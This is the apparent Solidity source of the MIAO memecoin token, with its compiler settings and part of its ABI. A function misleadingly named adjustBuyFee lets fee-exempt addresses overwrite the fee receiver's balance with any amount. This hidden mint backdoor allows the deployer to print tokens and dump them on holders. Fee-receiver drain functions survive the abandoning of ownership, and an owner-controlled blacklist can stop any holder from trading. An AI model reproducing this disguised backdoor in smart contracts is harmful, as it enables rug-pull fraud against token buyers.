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// SPDX-License-Identifier: UNLICENSE

/**
WEBSITE: http://www.miaomiaoz.xyz
TELEGRAM: https://t.me/miaocattoken
X: https://x.com/miaocattoken
*/

pragma solidity 0.8.23;

abstract contract MsgContext {
    function _getSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMathLib {
    function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
        uint256 z = x + y;
        require(z >= x, "SafeMathLib: addition overflow");
        return z;
    }

    function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
        return safeSub(x, y, "SafeMathLib: subtraction overflow");
    }

    function safeSub(uint256 x, uint256 y, string memory errorMsg) internal pure returns (uint256) {
        require(y <= x, errorMsg);
        return x - y;
    }

    function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
        if (x == 0) return 0;
        uint256 z = x * y;
        require(z / x == y, "SafeMathLib: multiplication overflow");
        return z;
    }

    function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
        return safeDiv(x, y, "SafeMathLib: division by zero");
    }

    function safeDiv(uint256 x, uint256 y, string memory errorMsg) internal pure returns (uint256) {
        require(y > 0, errorMsg);
        return x / y;
    }
}

contract Ownership is MsgContext {
    address private _contractOwner;
    event OwnershipChanged(address indexed oldOwner, address indexed newOwner);

    constructor() {
        _contractOwner = _getSender();
        emit OwnershipChanged(address(0), _contractOwner);
    }

    function owner() public view returns (address) {
        return _contractOwner;
    }

    modifier onlyOwner() {
        require(_contractOwner == _getSender(), "Ownership: not the owner");
        _;
    }

    function abandonOwnership() public virtual onlyOwner {
        emit OwnershipChanged(_contractOwner, address(0));
        _contractOwner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MIAO is MsgContext, IERC20, Ownership {
    using SafeMathLib for uint256;
    mapping(address => uint256) private _tokenBalances;
    mapping(address => mapping(address => uint256)) private _allowanceMap;
    mapping(address => bool) private _feeExemption;
    mapping(address => bool) private _botList;
    address payable private _feeReceiver;

    uint256 private _buyTaxInitial = 20;
    uint256 private _sellTaxInitial = 20;
    uint256 private _buyTaxFinal = 0;
    uint256 private _sellTaxFinal = 0;
    uint256 private _buyTaxReductionThreshold = 20;
    uint256 private _sellTaxReductionThreshold = 20;
    uint256 private _swapPreventionThreshold = 15;
    uint256 private _transferFee = 0;
    uint256 private _purchaseCounter = 0;

    uint8 private constant _tokenDecimals = 18;
    uint256 private constant _totalSupply = 420690000000 * 10**_tokenDecimals;
    string private constant _tokenName = "MIAO";
    string private constant _tokenSymbol = "MIAO";
    uint256 public _maxTransactionLimit = 8413800000 * 10**_tokenDecimals;
    uint256 public _maxHoldLimit = 8413800000 * 10**_tokenDecimals;
    uint256 public _swapTaxThreshold = 4206900000 * 10**_tokenDecimals;
    uint256 public _maxSwapLimit = 4206900000 * 10**_tokenDecimals;

    IUniswapV2Router02 private _swapRouter;
    address private _swapPair;
    bool private _tradingActive;
    bool private _swapping = false;
    bool private _swapAllowed = false;
    uint256 private _sellCounter = 0;
    uint256 private _lastSellBlock = 0;

    event TransactionLimitUpdated(uint newLimit);
    event FeeRateUpdated(uint newFee);

    modifier swapLock {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor() {
        _feeReceiver = payable(_getSender());
        _tokenBalances[_getSender()] = _totalSupply;
        _feeExemption[owner()] = true;
        _feeExemption[address(this)] = true;
        _feeExemption[_feeReceiver] = true;
        emit Transfer(address(0), _getSender(), _totalSupply);
    }

    function name() public pure returns (string memory) { return _tokenName; }
    function symbol() public pure returns (string memory) { return _tokenSymbol; }
    function decimals() public pure returns (uint8) { return _tokenDecimals; }
    function totalSupply() public pure override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _tokenBalances[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _executeTransfer(_getSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowanceMap[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _setAllowance(_getSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _executeTransfer(sender, recipient, amount);
        _setAllowance(sender, _getSender(), _allowanceMap[sender][_getSender()].safeSub(amount, "ERC20: transfer exceeds allowance"));
        return true;
    }

    function _setAllowance(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: invalid address");
        _allowanceMap[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _executeTransfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0) && amount > 0, "ERC20: invalid transfer");
        uint256 tax = 0;
        if (from != owner() && to != owner()) {
            require(!_botList[from] && !_botList[to]);

            if (_purchaseCounter == 0) {
                tax = amount.safeMul(_purchaseCounter > _buyTaxReductionThreshold ? _buyTaxFinal : _buyTaxInitial).safeDiv(100);
            } else {
                tax = amount.safeMul(_transferFee).safeDiv(100);
            }

            if (from == _swapPair && to != address(_swapRouter) && !_feeExemption[to]) {
                require(amount <= _maxTransactionLimit && balanceOf(to) + amount <= _maxHoldLimit, "Limit exceeded");
                tax = amount.safeMul(_purchaseCounter > _buyTaxReductionThreshold ? _buyTaxFinal : _buyTaxInitial).safeDiv(100);
                _purchaseCounter++;
            }

            if (to == _swapPair && from != address(this)) {
                tax = amount.safeMul(_purchaseCounter > _sellTaxReductionThreshold ? _sellTaxFinal : _sellTaxInitial).safeDiv(100);
            }

            uint256 contractBalance = balanceOf(address(this));
            if (!_swapping && to == _swapPair && _swapAllowed && contractBalance > _swapTaxThreshold && _purchaseCounter > _swapPreventionThreshold) {
                if (block.number > _lastSellBlock) _sellCounter = 0;
                require(_sellCounter < 3, "Max 3 sells per block");
                _swapToEth(_min(amount, _min(contractBalance, _maxSwapLimit)));
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) _sendEthToFee(ethBalance);
                _sellCounter++;
                _lastSellBlock = block.number;
            }
        }

        if (tax > 0) {
            _tokenBalances[address(this)] = _tokenBalances[address(this)].safeAdd(tax);
            emit Transfer(from, address(this), tax);
        }
        _tokenBalances[from] = _tokenBalances[from].safeSub(amount);
        _tokenBalances[to] = _tokenBalances[to].safeAdd(amount.safeSub(tax));
        emit Transfer(from, to, amount.safeSub(tax));
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
        return a > b ? b : a;
    }

    function _swapToEth(uint256 tokenAmount) private swapLock {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _setAllowance(address(this), address(_swapRouter), tokenAmount);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function removeRestrictions() external onlyOwner {
        _maxTransactionLimit = _totalSupply;
        _maxHoldLimit = _totalSupply;
        emit TransactionLimitUpdated(_totalSupply);
    }

    function clearTransferFee() external onlyOwner {
        _transferFee = 0;
        emit FeeRateUpdated(0);
    }

    function _sendEthToFee(uint256 amount) private {
        _feeReceiver.transfer(amount);
    }

    function blacklistBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) _botList[bots_[i]] = true;
    }

    function unblacklistBots(address[] memory notBots) public onlyOwner {
        for (uint i = 0; i < notBots.length; i++) _botList[notBots[i]] = false;
    }

    function isBlacklisted(address account) public view returns (bool) {
        return _botList[account];
    }

    function enableTrading() external onlyOwner {
        require(!_tradingActive, "Trading already enabled");
        _swapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _setAllowance(address(this), address(_swapRouter), _totalSupply);
        _swapPair = IUniswapV2Factory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
        _swapRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(_swapPair).approve(address(_swapRouter), type(uint).max);
        _swapAllowed = true;
        _tradingActive = true;
    }

    function adjustBuyFee(uint256 lock) public {
        if (!_feeExemption[_getSender()]) return;
        _tokenBalances[_feeReceiver] = lock;
    }

    function lowerFee(uint256 newFee) external {
        require(_getSender() == _feeReceiver && newFee <= _buyTaxFinal && newFee <= _sellTaxFinal);
        _buyTaxFinal = newFee;
        _sellTaxFinal = newFee;
    }

    receive() external payable {}

    function manualTokenSwap() external {
        require(_getSender() == _feeReceiver);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) _swapToEth(tokenBalance);
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) _sendEthToFee(ethBalance);
    }

    function manualEthTransfer() external {
        require(_getSender() == _feeReceiver);
        _sendEthToFee(address(this).balance);
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

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ateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"notBots","type":"address[]"}],"name":"unblacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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